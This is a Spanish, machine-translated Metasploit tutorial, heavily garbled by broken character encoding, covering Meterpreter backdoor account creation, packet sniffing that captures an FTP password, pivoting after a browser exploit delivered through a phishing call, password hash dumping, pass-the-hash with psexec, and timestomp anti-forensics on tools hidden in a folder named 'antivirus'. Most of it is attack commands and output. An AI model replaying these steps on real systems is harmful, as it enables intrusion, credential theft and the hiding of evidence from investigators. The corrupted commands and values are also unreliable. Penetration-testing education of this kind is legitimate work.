Echemos un vistazo a otra situacin en la que &etasploit hace que sea muy fcil de puerta trasera del
sistema usando nada ms que herramientas interadas del sistema. 5tilizaremos $arlos /!rez -etui-
script, que permite a Escritorio remoto y crea una cuenta de usuario para iniciar sesin en ella con. 7a
utilizacin de este script no puede ser ms fcil.
meterpreter > run 4et4u 1"
Endows ?emote 7es#top 3nabler Meterpreter =crpt
<sa4eM 4et4u 1u 1p
9rM 4et4u 1e
9P2B9L=M
1e 3nable ?7P only.
1f 6orward ?7P Connecton.
1" >elp menu.
1l 2"e lan4ua4e swtc"
Possble 9ptonsM AdeI73AR AenI3LA * default sM AenI3LA
1p 2"e Password of t"e user
meterpreter > run 4et4u 1u "ac#er 1p s&cr&t
PZQ Endows ?emote 7es#top Conf4uraton Meterpreter =crpt by 7ar#operator
PZQ Carlos Pere+ carlosIpere+Gdar#operator.com
PZQ Can4ua4e detecton started
PZQ Can4ua4e detectedM enI<=
PZQ =ettn4 user account for lo4on
PZQ Dddn4 <serM "ac#er wt" PasswordM s&cr&t
PZQ Dddn4 <serM "ac#er to local 4roup AA
PZQ Dddn4 <serM "ac#er to local 4roup AA
PZQ Jou can now lo4n wt" t"e created user
PZQ 6or cleanup use commandM run multIconsoleIcommand 1rc
*root*.msf&*lo4s*scrpts*4et4u*cleanIupII-',,',,-.-..0.rc
meterpreter >
W ya hemos terminadoZ Eso es todo. /ermite probar la conexin para ver si realmente puede ser tan
fcil.
W aqu podemos ver que es. Se utiliz el comando -rdes3top y se especifica el nombre de usuario y la
contrase0a que desea utilizar para el reistro de in ' continuacin, recibi un mensa%e de error
de%ndonos saber que un usuario se reistra ya en la consola del sistema, y que si continuamos, que el
usuario se desconecta. Este es el comportamiento esperado para un sistema de escritorio de (indo2s
N/, para que podamos ver que todo funciona como se esperaba. Tena en cuenta que (indo2s Server
permite a los concurrentes los inicios de sesin rfica por lo que no puede encontrar este mensa%e de
advertencia.
6ecuerde que este tipo de cambios pueden ser muy poderosas. Sin embaro, usar ese poder sabiamente,
ya que todos estos pasos alteraciones en los sistemas de manera que puedan ser utilizados por los
investiadores para realizar un seuimiento de qu! tipo de acciones fueron tomadas en el sistema. 7os
cambios ms que se hacen, la evidencia ms que de%as atrs.
$uando haya terminado con el sistema actual, tendr que e%ecutar el script de limpieza previsto para
eliminar la cuenta areada.
meterpreter > run multIconsoleIcommand 1rc
*root*.msf&*lo4s*scrpts*4et4u*cleanIupII-',,',,-.-..0.rc
PZQ ?unnn4 Command Cst ...
PZQ ?unnn4 command e!ecute 1> 1f cmd.e!e 1a :*c net user "ac#er *delete:
Process -00 created.
meterpreter >
/ac3et Sniffin (ith &eterpreter
#on el sniffin! de pa'uetes Meterpreter
En el momento de escribir los tutoriales de este curso, ") &oore lanz una nueva funcin para el
&etasploit #rame2or3 que es muy poderosa en todo sentido. &eterpreter ahora tiene la capacidad de
deteccin de paquetes de la mquina remota sin tener que tocar el disco duro. Esto es especialmente Dtil
si queremos controlar qu! tipo de informacin se est enviando, y aDn me%or, este es probablemente el
inicio de varios mdulos adicionales que en Dltima instancia, buscar los datos sensibles dentro de los
archivos de captura. El mdulo sniffer puede almacenar hasta JGG.GGG paquetes en un bDfer y los
exporta en formato estndar /$'/ as que usted puede usar el proceso psnuffle, dsniff, 2ireshar3, etc
En primer luar, el fueo de nuestro exploit remoto hacia la vctima y el aumento de nuestra consola
estndar &eterpreter inversa.
msf > use e!plot*wndows*smb*ms'0I'(%Inetap
msf e!plot(ms'0I'(%Inetap) > set PDJC9D7 wndows*meterpeter*re5erseItcp
msf e!plot(ms'0I'(%Inetap) > set C>9=2 ,'.-,,.//.,-(
msf e!plot(ms'0I'(%Inetap) > set ?>9=2 ,'.,'.,.,,)
msf e!plot(ms'0I'(%Inetap) > e!plot
PZQ >andler bndn4 to C>9=2 '.'.'.'
PZQ =tarted re5erse "andler
PZQ 2r44ern4 t"e 5ulnerablty...
PZQ 2ransmttn4 ntermedate sta4er for o5er1s+ed sta4e...(-,( bytes)
PZQ =endn4 sta4e (-'/0-. bytes)
PZQ Meterpreter sesson , opened (,'.,'.,..M.... 1> ,'.,'.,.,,)M,)-,)
)esde aqu iniciamos el sniffer en la interfaz de O y comenzar a recoer los paquetes. ' continuacin,
volcar la salida de sniffer en > tmp > all.cap.
meterpreter > use snffer
Coadn4 e!tenson snffer...success.
meterpreter > "elp
=nffer Commands
================
Command 7escrpton
1111111 11111111111
snfferIdump ?etre5e captured pac#et data
snfferInterfaces Cst all remote snffable nterfaces
snfferIstart Capture pac#ets on a pre5ously opened nterface
snfferIstats 8ew statstcs of an act5e capture
snfferIstop =top pac#et captures on t"e specfed nterface
meterpreter > snfferInterfaces
, 1 A8Mware Dccelerated DM7 PCLet DdapterA ( typeM' mtuM,/,. usableMtrue d"cpMtrue
wfMfalse )
meterpreter > snfferIstart ,
PZQ Capture started on nterface , (-''''' pac#et buffer)
meterpreter > snfferIdump , *tmp*all.cap
PZQ 7umpn4 pac#ets from nterface ,...
PZQ Erote ,) pac#ets to PCDP fle *tmp*all.cap
meterpreter > snfferIdump , *tmp*all.cap
PZQ 7umpn4 pac#ets from nterface ,...
PZQ Erote ,)) pac#ets to PCDP fle *tmp*all.cap
'hora podemos usar nuestro analizador favorito o paquete de herramientas de anlisis para revisar la
informacin interceptada.
El rastreador de paquetes &eterpreter utiliza el &icro,7'/ succionador de paquete S)* y puede oler
los paquetes de la mquina de la vctima sin tener que instalar ninDn driver o escribir en el sistema de
archivos. El mdulo es lo suficientemente inteliente para darse cuenta de su propio trfico y as se
eliminar automticamente todo el trfico de la interaccin &eterpreter. 'dems, las tuberas
&eterpreter toda la informacin a trav!s de un tDnel SS7 > T7S y est totalmente encriptada.
2acketrecorder
$omo una alternativa al uso de la extensin sniffer, $arlos /!rez escribi el uin pac3etrecorder
&eterpreter que permite la ranularidad ms cuando la captura de paquetes. /ara ver qu! opciones
estn disponibles, emitimos el Crun pac3etrecorderC comamnd sin arumentos.
meterpreter > run pac#etrecorder
Meterpreter =crpt for capturn4 pac#ets n to a PCDP fle
on a tar4et "ost 45en a nterface B7.
9P2B9L=M
1" >elp menu.
1 Bnterface B7 number w"ere all pac#et capture wll be done.
1l =pecfy and alternate folder to sa5e PCDP fle.
1l Cst nterfaces t"at can be used for capture.
1t 2me nter5al n seconds between recollecton of pac#etR default &'
seconds.
'ntes de empezar a oler el trfico, primero tenemos que determinar qu! interfaces estn disponibles
para nosotros.
meterpreter > run pac#etrecorder 1l
, 1 A?ealte# ?2C0,&) 6amly PCB 6ast 3t"ernet LBCA ( typeM.-).)(%-)/ mtuM'
usableMfalse d"cpMfalse wfMfalse )
- 1 ACtr! Ken=er5er P8 3t"ernet DdapterA ( typeM' mtuM,/,. usableMtrue d"cpMtrue
wfMfalse )
& 1 AEDL Mnport (Letwor# Montor)A ( typeM& mtuM,/,. usableMtrue d"cpMfalse
wfMfalse )
:amos a empezar oler el trfico en la seunda interfaz, el ahorro de los reistros en el escritorio de
nuestro sistema de ;ac3Trac3 y de%e correr el sniffer para un rato.
meterpreter > run pac#etrecorder 1 - 1l *root*
PZQ =tartn4 Pac#et capture on nterface -
PUQ Pac#et capture started
PZQ Pac#ets ben4 sa5ed n to *root*lo4s*pac#etrecorder*K3L1KP1=P-1
$D?3I-',',,,)./,'/*K3L1KP1=P-1$D?3I-',',,,)./,'/.cap
PZQ Pac#et capture nter5al s &' =econds
dC
PZQ Bnterrupt
PUQ =toppn4 Pac#et snffer...
meterpreter >
En la actualidad existe un archivo de captura que nos espera de que se pueden analizar en una
herramienta como (ireshar3 o tshar3. :amos a echar un vistazo rpido para ver si capturamos alo
interesante.
rootGbtM]*lo4s*pac#etrecorder*K3L1KP1=P-1$D?3I-',',,,)./,'/H ts"ar# 1r K3L1KP1=P-1
$D?3I-',',,,)./,'/.cap [4rep PD==
?unnn4 as user :root: and 4roup :root:. 2"s could be dan4erous.
-.0) 0-.'''''' ,)-.,(0.,.-', 1> -').,&-.,0&.(, 62P ?e@uestM PD== s&cr&t
-(0/ )(.'''''' ,)-.,(0.,.-', 1> -').,&-.,0&.(, 62P ?e@uestM PD== s&cr&t
`xitoZ El pac3etrecorder capturado una contrase0a #T/ para nosotros.
/ivotin
pivoteo
/ivotin la Dnica t!cnica de la utilizacin de una instancia Ktambi!n conocida como una CplantaC o
Cpunto de apoyoCM para ser capaz de CmoverC por el interior de una red. ;sicamente, el primer
compromiso de permitir e incluso la ayuda en el compromiso de otros sistemas de otra forma seran
inaccesibles. En este escenario se va a utilizar para el encaminamiento de trfico de un eneral sin
enrutamiento de red.
/or e%emplo, somos una pentester para la Seuridad?6?5s. 5sted tira de la ua de empresas y deciden
diriirse a un usuario en el ob%etivo departamento de T4. 5sted llama a los usuarios y dicen que son de
un proveedor y desea que visiten su sitio 2eb para descarar un parche de seuridad. En la 567 que se
les se0ala, se est e%ecutando un exploit de 4nternet Explorer.
msf > use e!plot*wndows*browser*ms,'I''-Iaurora
msf e!plot(ms,'I''-Iaurora) > s"ow optons
Module optonsM
Lame Current =ettn4 ?e@ured 7escrpton
1111 111111111111111 11111111 11111111111
=?8>9=2 '.'.'.' yes 2"e local "ost to lsten on.
=?8P9?2 0'0' yes 2"e local port to lsten on.
==C false no Le4otate ==C for ncomn4 connectons
==C8erson ==C& no =pecfy t"e 5erson of ==C t"at s"ould
be used (acceptedM ==C-R ==C&R 2C=,)
<?BPD2> no 2"e <?B to use for t"s e!plot (default
s random)
3!plot tar4etM
Bd Lame
11 1111
' Dutomatc
msf e!plot(ms,'I''-Iaurora) > set <?BPD2> *
<?BPD2> => *
msf e!plot(ms,'I''-Iaurora) > set PDJC9D7 wndows*meterpreter*re5erseItcp
PDJC9D7 => wndows*meterpreter*re5erseItcp
msf e!plot(ms,'I''-Iaurora) > set C>9=2 ,)-.,(0.,.,',
C>9=2 => ,)-.,(0.,.,',
msf e!plot(ms,'I''-Iaurora) > e!plot 1j
PZQ 3!plot runnn4 as bac#4round job.
PZQ =tarted re5erse "andler on ,)-.,(0.,.,',M....
PZQ <sn4 <?CM "ttpM**'.'.'.'M0'0'*
PZQ Cocal BPM "ttpM**,)-.,(0.,.,',M0'0'*
PZQ =er5er started.
msf e!plot(ms,'I''-Iaurora) >
$uando el ob%etivo de nuestra visita una 567 maliciosa, una sesin de meterpreter se abre para que nos
da acceso completo al sistema.
msf e!plot(ms,'I''-Iaurora) >
PZQ =endn4 Bnternet 3!plorer :Durora: Memory Corrupton to clent ,)-.,(0.,.-',
PZQ =endn4 sta4e (%.)'/( bytes) to ,)-.,(0.,.-',
PZQ Meterpreter sesson , opened (,)-.,(0.,.,',M.... 1> ,)-.,(0.,.-',M0%%%) at Mon
7ec '( '0M--M-) 1'%'' -','
msf e!plot(ms,'I''-Iaurora) > sessons 1l
Dct5e sessons
===============
Bd 2ype Bnformaton
Connecton
11 1111 11111111111
1111111111
, meterpreter !0(*wn&- K3L1KP1=P-1$D?3\Ddmnstrator G K3L1KP1=P-1$D?3
,)-.,(0.,.,',M.... 1> ,)-.,(0.,.-',M0%%%
msf e!plot(ms,'I''-Iaurora) >
$uando nos conectamos con nuestra sesin de meterpreter, que e%ecutar ipconfi y ver que el sistema
de explotacin es de base dual, una confiuracin comDn entre el personal de T4.
msf e!plot(ms,'I''-Iaurora) > sessons 1 ,
PZQ =tartn4 nteracton wt" ,...
meterpreter > pconf4
Ctr! Ken=er5er P8 3t"ernet Ddapter H- 1 Pac#et =c"eduler Mnport
>ardware MDCM d-Md(M%'MfaMdeM(/
BP Dddress M ,'.,.,&.&
Letmas# M -//.-//.-//.'
M= 2CP Coopbac# nterface
>ardware MDCM ''M''M''M''M''M''
BP Dddress M ,-%.'.'.,
Letmas# M -//.'.'.'
Ctr! Ken=er5er P8 3t"ernet Ddapter 1 Pac#et =c"eduler Mnport
>ardware MDCM c(MceM.eMd)Mc)M(e
BP Dddress M ,)-.,(0.,.-',
Letmas# M -//.-//.-//.'
meterpreter >
<ueremos aprovechar esta informacin reci!n descubierto y el ataque de esta red adicional. &etasploit
tiene un uin meterpreter autopista que nos va a permitir atacar esta seunda red a trav!s de nuestra
primera mquina comprometida.
meterpreter > run autoroute 1"
PZQ <sa4eM run autoroute P1rQ 1s subnet 1n netmas#
PZQ 3!amplesM
PZQ run autoroute 1s ,'.,.,.' 1n -//.-//.-//.' H Ddd a route to
,'.,'.,'.,*-//.-//.-//.'
PZQ run autoroute 1s ,'.,'.,'., H Letmas# defaults to
-//.-//.-//.'
PZQ run autoroute 1s ,'.,'.,'.,*-. H CB7? notaton s also o#ay
PZQ run autoroute 1p H Prnt act5e routn4 table
PZQ run autoroute 1d 1s ,'.,'.,'., H 7eletes t"e
,'.,'.,'.,*-//.-//.-//.' route
PZQ <se t"e :route: and :pconf4: Meterpreter commands to learn about a5alable
routes
meterpreter > run autoroute 1s ,'.,.,&.'*-.
PZQ Dddn4 a route to ,'.,.,&.'*-//.-//.-//.'...
PUQ Ddded route to ,'.,.,&.'*-//.-//.-//.' 5a ,)-.,(0.,.-',
PZQ <se t"e 1p opton to lst all act5e routes
meterpreter > run autoroute 1p
Dct5e ?outn4 2able
====================
=ubnet Letmas# ;ateway
111111 1111111 1111111
,'.,.,&.' -//.-//.-//.' =esson ,
meterpreter >
'hora que hemos a0adido nuestra nueva ruta, vamos a escalar a sistema, volcar los hashes de
contrase0as, y el fondo de nuestra sesin meterpreter pulsando $trl?z.
meterpreter > 4etsystem
...4ot system (5a tec"n@ue ,).
meterpreter > run "as"dump
PZQ 9btann4 t"e boot #ey...
PZQ Calculatn4 t"e "boot #ey usn4 =J=X3J c-ec0'f0%)c,b/dc0d-b(.f,e-c&%a./...
PZQ 9btann4 t"e user lst and #eys...
PZQ 7ecryptn4 user #eys...
PZQ 7umpn4 password "as"es...
DdmnstratorM/''M0,cbcea0a)af)&bbaad&b.&/b/,.'.eeM/(,cbdae,&ed/abd&'aa).ddeb&cf/-
dMMM
;uestM/',Maad&b.&/b/,.'.eeaad&b.&/b/,.'.eeM&,d(cfe'd,(ae)&,b%&c/)d%e'c'0)c'MMM
>elpDssstantM,'''M)a(ae-(.'0b'(-)ddc(-,c)'c0)%b.-dM'%a/)dbe,.e-ea)c.%)-e-f,0)e-de
&aMMM
=<PP9?2I&00)./a'M,''-Maad&b.&/b/,.'.eeaad&b.&/b/,.'.eeMebf)fa..b&-'.'-)db/a0a%%f/&
/',('MMM
5ctmM,''.M0,cbcea0a)af)&bbaad&b.&/b/,.'.eeM/(,cbdae,&ed/abd&'aa).ddeb&cf/-dMMM
meterpreter >
$ac#4round sesson ,W Py*LQ
msf e!plot(ms,'I''-Iaurora) >
'hora tenemos que determinar si hay otros sistemas en esta seunda red que hemos descubierto. :amos
a utilizar una base scanner de puertos T$/ para buscar los puertos OEU y IIL.
msf e!plot(ms,'I''-Iaurora) > use au!lary*scanner*portscan*tcp
msf au!lary(tcp) > s"ow optons
Module optonsM
Lame Current =ettn4 ?e@ured 7escrpton
1111 111111111111111 11111111 11111111111
C9LC<??3LCJ ,' yes 2"e number of concurrent ports to c"ec#
per "ost
6BC23? no 2"e flter strn4 for capturn4 traffc
BL23?6DC3 no 2"e name of t"e nterface
PCDP6BC3 no 2"e name of t"e PCDP capture fle to
process
P9?2= ,1,'''' yes Ports to scan (e.4. --1-/R0'R,,'1)'')
?>9=2= yes 2"e tar4et address ran4e or CB7?
dentfer
=LDPC3L (//&/ yes 2"e number of bytes to capture
2>?3D7= , yes 2"e number of concurrent t"reads
2BM39<2 ,''' yes 2"e soc#et connect tmeout n
mllseconds
83?$9=3 false no 7splay 5erbose output
msf au!lary(tcp) > set ?>9=2= ,'.,.,&.'*-.
?>9=2 => ,'.,.,&.'*-.
msf au!lary(tcp) > set P9?2= ,&)R../
P9?2= => ,&)R../
msf au!lary(tcp) > set 2>?3D7= /'
2>?3D7= => /'
msf au!lary(tcp) > run
PZQ ,'.,.,&.&M,&) 1 2CP 9P3L
PZQ ,'.,.,&.&M../ 1 2CP 9P3L
PZQ ,'.,.,&.-M../ 1 2CP 9P3L
PZQ ,'.,.,&.-M,&) 1 2CP 9P3L
PZQ =canned -/( of -/( "osts (,''F complete)
PZQ Du!lary module e!ecuton completed
msf au!lary(tcp) >
"emos descubierto una mquina adicional en esta red con los puertos OEU y IIL libre, as que tratar de
volver a utilizar nuestro hash de la contrase0a se reunieron con el mdulo de explotar psexec. )ado que
muchas empresas utilizan el soft2are de imenes, la contrase0a de administrador local es con
frecuencia el mismo en toda la empresa.
msf au!lary(tcp) > use e!plot*wndows*smb*pse!ec
msf e!plot(pse!ec) > s"ow optons
Module optonsM
Lame Current =ettn4 ?e@ured 7escrpton
1111 111111111111111 11111111 11111111111
?>9=2 yes 2"e tar4et address
?P9?2 ../ yes =et t"e =M$ ser5ce port
=M$7oman E9?X;?9<P no 2"e Endows doman to use for
aut"entcaton
=M$Pass no 2"e password for t"e specfed username
=M$<ser no 2"e username to aut"entcate as
3!plot tar4etM
Bd Lame
11 1111
' Dutomatc
msf e!plot(pse!ec) > set ?>9=2 ,'.,.,&.-
?>9=2 => ,'.,.,&.-
msf e!plot(pse!ec) > set =M$<ser Ddmnstrator
=M$<ser => Ddmnstrator
msf e!plot(pse!ec) > set =M$Pass
0,cbcea0a)af)&bbaad&b.&/b/,.'.eeM/(,cbdae,&ed/abd&'aa).ddeb&cf/-d
=M$Pass => 0,cbcea0a)af)&bbaad&b.&/b/,.'.eeM/(,cbdae,&ed/abd&'aa).ddeb&cf/-d
msf e!plot(pse!ec) > set PDJC9D7 wndows*meterpreter*bndItcp
PDJC9D7 => wndows*meterpreter*bndItcp
msf e!plot(pse!ec) > e!plot
PZQ Connectn4 to t"e ser5er...
PZQ =tarted bnd "andler
PZQ Dut"entcatn4 to ,'.,.,&.-M../[E9?X;?9<P as user ADdmnstratorA...
PZQ <ploadn4 payload...
PZQ Created \@LuBX$y8.e!e...
PZQ $ndn4 to &(%abb0,1)0..1&/f,1ad&-1
)0f'&0'',''&M-.'GncacnInpM,'.,.,&.-P\s5cctlQ ...
PZQ $ound to &(%abb0,1)0..1&/f,1ad&-1
)0f'&0'',''&M-.'GncacnInpM,'.,.,&.-P\s5cctlQ ...
PZQ 9btann4 a ser5ce mana4er "andle...
PZQ Creatn4 a new ser5ce (<9trbbMd 1 :MLJ?:)...
PZQ Closn4 ser5ce "andle...
PZQ 9penn4 ser5ce...
PZQ =tartn4 t"e ser5ce...
PZQ ?emo5n4 t"e ser5ce...
PZQ Closn4 ser5ce "andle...
PZQ 7eletn4 \@LuBX$y8.e!e...
PZQ =endn4 sta4e (%.)'/( bytes)
PZQ Meterpreter sesson - opened (,)-.,(0.,.,',1,)-.,(0.,.-',M' 1> ,'.,.,&.-M....)
at Mon 7ec '( '0M/(M.- 1'%'' -','
meterpreter >
9uestro ataque ha sido un !xitoZ Se puede ver en la salida anterior que tenemos una sesin meterpreter
la conexin a trav!s de nuestra sesin OG.O.OE.J meterpreter existentes con OUJ.OPX.O.JGO. E%ecutando
el comando ipconfi en nuestra mquina reci!n comprometida muestra que hemos lleado a un sistema
que normalmente no es accesible para nosotros.
meterpreter > pconf4
Ctr! Ken=er5er P8 3t"ernet Ddapter
>ardware MDCM --M%&MffM,-M,,M.b
BP Dddress M ,'.,.,&.-
Letmas# M -//.-//.-//.'
M= 2CP Coopbac# nterface
>ardware MDCM ''M''M''M''M''M''
BP Dddress M ,-%.'.'.,
Letmas# M -//.'.'.'
meterpreter >
$omo puede ver, de iro es una caracterstica muy potente y es una capacidad crtica que en las pruebas
de penetracin.
Timestomp
4nteractuar con los sistemas de archivos ms es como caminar en la nieve ... que de%ar huellas. El
rado de detalle las huellas, cmo se puede aprender mucho de ellos, y cunto tiempo duran todo
depende de varias circunstancias. El arte de analizar estos artefactos es forense diital. /or varias
razones, cuando se realiza una prueba de lpiz es posible que desee hacer que sea difcil para un
analista forense para determinar las acciones que se tomaron.
7a me%or manera de evitar ser detectados por una investiacin forense es simple= 9o toque el sistema
de archivosZ Esta es una de las cosas bellas acerca meterpreter, se cara en memoria sin necesidad de
escribir nada en el disco, en ran medida reducir al mnimo los artefactos que de%a en un sistema. Sin
embaro, en muchos casos puede que tena que interactuar con el sistema de archivos de aluna
manera. En estos casos timestomp puede ser una ran herramienta.
:amos a ver un archivo en el sistema, y el &'$ K&odificado, 'cceso, ha cambiadoM veces del archivo=
6le Pat"M CM\7ocuments and =ettn4s\P'EL&7\My 7ocuments\test.t!t
Created 7ateM /*&*-'') -M&'M'0 DM
Cast DccessedM /*&*-'') -M&,M&) DM
Cast ModfedM /*&*-'') -M&'M&( DM
'hora vamos a empezar por la explotacin del sistema y la cara de una sesin de meterpreter. )espu!s
de eso, vamos a carar el mdulo timestomp, y echar un vistazo rpido a los archivos en cuestin.
msf e!plot(warftpdI,(/Iuser) > e!plot
PZQ >andler bndn4 to C>9=2 '.'.'.'
PZQ =tarted re5erse "andler
PZQ Connectn4 to 62P ser5er ,%-.,(.,'..,./M-,...
PZQ Connected to tar4et 62P ser5er.
PZQ 2ryn4 tar4et Endows -''' =P'1=P. 3n4ls"...
PZQ 2ransmttn4 ntermedate sta4er for o5er1s+ed sta4e...(,), bytes)
PZQ =endn4 sta4e (-(/' bytes)
PZQ =leepn4 before "andln4 sta4e...
PZQ <ploadn4 7CC (%/%0% bytes)...
PZQ <pload completed.
PZQ meterpreter sesson , opened (,%-.,(.,'..,&'M.... 1> ,%-.,(.,'..,./M,-,0)
meterpreter > use pr5
Coadn4 e!tenson pr5...success.
meterpreter > tmestomp 1"
<sa4eM tmestomp fleIpat" 9P2B9L=
9P2B9L=M
1a =et t"e :last accessed: tme of t"e fle
1b =et t"e MDC3 tmestamps so t"at 3nCase s"ows blan#s
1c =et t"e :creaton: tme of t"e fle
1e =et t"e :mft entry modfed: tme of t"e fle
1f =et t"e MDC3 of attrbutes e@ual to t"e suppled fle
1" >elp banner
1m =et t"e :last wrtten: tme of t"e fle
1r =et t"e MDC3 tmestamps recurs5ely on a drectory
15 7splay t"e <2C MDC3 5alues of t"e fle
1+ =et all four attrbutes (MDC3) of t"e fle
meterpreter > pwd
CM\Pro4ram 6les\Ear1ftpd
meterpreter > cd ..
meterpreter > pwd
CMPro4ram 6les
meterpreter > cd ..
meterpreter > cd 7ocuments\ and\ =ettn4s
meterpreter > cd P'EL&7
meterpreter > cd My\ 7ocuments
meterpreter > ls
Cstn4M CM\7ocuments and =ettn4s\P'EL&7\My 7ocuments
======================================================
Mode =+e 2ype Cast modfed Lame
1111 1111 1111 1111111111111 1111
.'%%%*rw!rw!rw! ' dr Eed 7ec &, ,)M''M'' 1'/'' ,)() .
.'%%%*rw!rw!rw! ' dr Eed 7ec &, ,)M''M'' 1'/'' ,)() ..
.'///*r1!r1!r1! ' dr Eed 7ec &, ,)M''M'' 1'/'' ,)() My Pctures
,''(((*rw1rw1rw1 -0 fl Eed 7ec &, ,)M''M'' 1'/'' ,)() test.t!t
meterpreter > tmestomp test.t!t 15
Modfed M =un May '& '.M&'M&( 1'.'' -'')
Dccessed M =un May '& '.M&,M/, 1'.'' -'')
Created M =un May '& '.M&'M'0 1'.'' -'')
3ntry ModfedM =un May '& '.M&,M.. 1'.'' -'')
'hora, echemos un vistazo a los tiempos &'$ muestra. :emos que el archivo fue creado
recientemente. "aamos por un minuto que esta es una herramienta sDper secreto que tenemos que
ocultar. 5na manera de hacer esto podra ser el establecimiento de los tiempos de &'$ para que
coincida con los tiempos &'$ de otro archivo en el sistema. /ermite copiar los tiempos &'$ de
cmd.exe a test.txt para hacer que se mezclan un poco me%or.
meterpreter > tmestomp test.t!t 1f CM\\EBLL2\\system&-\\cmd.e!e
PZQ =ettn4 MDC3 attrbutes on test.t!t from CM\EBLL2\system&-\cmd.e!e
meterpreter > tmestomp test.t!t 15
Modfed M 2ue 7ec '% '0M''M'' 1'/'' ,)))
Dccessed M =un May '& '/M,.M/, 1'.'' -'')
Created M 2ue 7ec '% '0M''M'' 1'/'' ,)))
3ntry ModfedM =un May '& '/M,,M,( 1'.'' -'')
"ay que irZ 'hora parece como si el archivo fue creado en text.txt GF de diciembre OUUU. :amos a ver
cmo se ve desde (indo2s.
6le Pat"M CM\7ocuments and =ettn4s\P'EL&7\My 7ocuments\test.t!t
Created 7ateM ,-*%*,))) %M''M'' DM
Cast DccessedM /*&*-'') &M,,M,( DM
Cast ModfedM ,-*%*,))) %M''M'' DM
`xitoZ $uenta de que hay alunas lieras diferencias entre los tiempos a trav!s de (indo2s y &S#.
Esto se debe a la forma en que se muestran las zonas horarias. (indo2s es que muestra la hora en
?G.PGG, mientras que &S# muestra los tiempos de &$ como ?GLGG. 'l a%ustarse seDn las diferencias
de huso horario, podemos ver que coinciden. ,bserve tambi!n que el acto de comprobacin de la
informacin de los archivos de (indo2s alterado la Dltima vez que accede. Esto viene a demostrar la
frailidad de los tiempos &'$ puede ser, y por qu! cuidado hay que tener al interactuar con ellos.
/ermite ahora hacer un cambio diferente. $uando en el e%emplo anterior, que estbamos buscando para
hacer los cambios mezcla pul En alunos casos, esto no es realista, y lo me%or que podemos esperar es
que sea ms difcil para un investiador para identificar cuando los cambios que realmente ocurri.
/ara esas situaciones, timestomp tiene una ran opcin K?b para el blancoM en el que los ceros de los
tiempos &'$ de un archivo. Echemos un vistazo.
meterpreter > tmestomp test.t!t 15
Modfed M 2ue 7ec '% '0M''M'' 1'/'' ,)))
Dccessed M =un May '& '/M,(M-' 1'.'' -'')
Created M 2ue 7ec '% '0M''M'' 1'/'' ,)))
3ntry ModfedM =un May '& '/M,,M,( 1'.'' -'')
meterpreter > tmestomp test.t!t 1b
PZQ $lan#n4 fle MDC3 attrbutes on test.t!t
meterpreter > tmestomp test.t!t 15
Modfed M -,'(1'-1'( -&M-0M,/ 1'%''
Dccessed M -,'(1'-1'( -&M-0M,/ 1'%''
Created M -,'(1'-1'( -&M-0M,/ 1'%''
3ntry ModfedM -,'(1'-1'( -&M-0M,/ 1'%''
'hora, al analizar los tiempos de &'$, las listas de timestomp ellos como si hubiera sido creado en el
a0o JOGPZ. Esto es muy interesante, ya que alunas herramientas de mal escritos forenses tienen el
mismo problema, y se bloquear al toparse con entradas como esta. :amos a ver cmo se ve el archivo
en (indo2s.
6le Pat"M CM\7ocuments and =ettn4s\P'EL&7\My 7ocuments\test.t!t
Created 7ateM ,*,*,(',
Cast DccessedM /*&*-'') &M-,M,& DM
Cast ModfedM ,*,*,(',
Y&uy interesanteZ Tena en cuenta que los tiempos ya no se muestran, y los datos se establece en O de
enero OPGO. A'luna idea de por qu! podra ser el casoB K/ista=
http=>>en.2i3ipedia.or>2i3i>OPGO]9otesM
meterpreter > cd CM\\EBLL2
meterpreter > m#dr ant5rus
Creatn4 drectoryM ant5rus
meterpreter > cd ant5rus
meterpreter > pwd
CM\EBLL2\ant5rus
meterpreter > upload *pentest*wndows1bnares*passwd1attac#*pwdump(
cM\\EBLL2\\ant5rus\\
PZQ uploadn4 M *pentest*wndows1bnares*passwd1attac#*pwdump(*Pw7ump.e!e 1>
cMEBLL2ant5rusPw7ump.e!e
PZQ uploaded M *pentest*wndows1bnares*passwd1attac#*pwdump(*Pw7ump.e!e 1>
cMEBLL2ant5rusPw7ump.e!e
PZQ uploadn4 M *pentest*wndows1bnares*passwd1attac#*pwdump(*Csa3!t.dll 1>
cMEBLL2ant5rusCsa3!t.dll
PZQ uploaded M *pentest*wndows1bnares*passwd1attac#*pwdump(*Csa3!t.dll 1>
cMEBLL2ant5rusCsa3!t.dll
PZQ uploadn4 M *pentest*wndows1bnares*passwd1attac#*pwdump(*pwser5ce.e!e 1>
cMEBLL2ant5ruspwser5ce.e!e
PZQ uploaded M *pentest*wndows1bnares*passwd1attac#*pwdump(*pwser5ce.e!e 1>
cMEBLL2ant5ruspwser5ce.e!e
meterpreter > ls
Cstn4M CM\EBLL2\ant5rus
===========================
Mode =+e 2ype Cast modfed Lame
1111 1111 1111 1111111111111 1111
.'%%%*rw!rw!rw! ' dr Eed 7ec &, ,)M''M'' 1'/'' ,)() .
.'%%%*rw!rw!rw! ' dr Eed 7ec &, ,)M''M'' 1'/'' ,)() ..
,''(((*rw1rw1rw1 (,..' fl Eed 7ec &, ,)M''M'' 1'/'' ,)() Csa3!t.dll
,''%%%*rw!rw!rw! ,00.,( fl Eed 7ec &, ,)M''M'' 1'/'' ,)() Pw7ump.e!e
,''%%%*rw!rw!rw! ./'/( fl Eed 7ec &, ,)M''M'' 1'/'' ,)() pwser5ce.e!e
,''(((*rw1rw1rw1 -% fl Eed 7ec &, ,)M''M'' 1'/'' ,)() sample.t!t
meterpreter > cd ..
$on nuestros archivos subidos, ahora vamos a e%ecutar timestomp en los archivos para confundir a
cualquier investiador potencial.
meterpreter > tmestomp ant5rus\\pwdump.e!e 15
Modfed M =un May '& '/M&/M/( 1'.'' -'')
Dccessed M =un May '& '/M&/M/( 1'.'' -'')
Created M =un May '& '/M&/M/( 1'.'' -'')
3ntry ModfedM =un May '& '/M&/M/( 1'.'' -'')
meterpreter > tmestomp ant5rus\\Csa3!t.dll 15
Modfed M =un May '& '/M&/M/( 1'.'' -'')
Dccessed M =un May '& '/M&/M/( 1'.'' -'')
Created M =un May '& '/M&/M/( 1'.'' -'')
3ntry ModfedM =un May '& '/M&/M/( 1'.'' -'')
meterpreter > tmestomp ant5rus 1r
PZQ $lan#n4 drectory MDC3 attrbutes on ant5rus
meterpreter > ls
.'%%%*rw!rw!rw! ' dr ,)0'1',1', ''M''M'' 1'%'' ..
,''(((*rw1rw1rw1 ,,/ fl -,'(1'-1'( -&M-0M,/ 1'%'' Csa3!t.dll
,''(((*rw1rw1rw1 ,-,(/ fl -,'(1'-1'( -&M-0M,/ 1'%'' pwdump.e!e
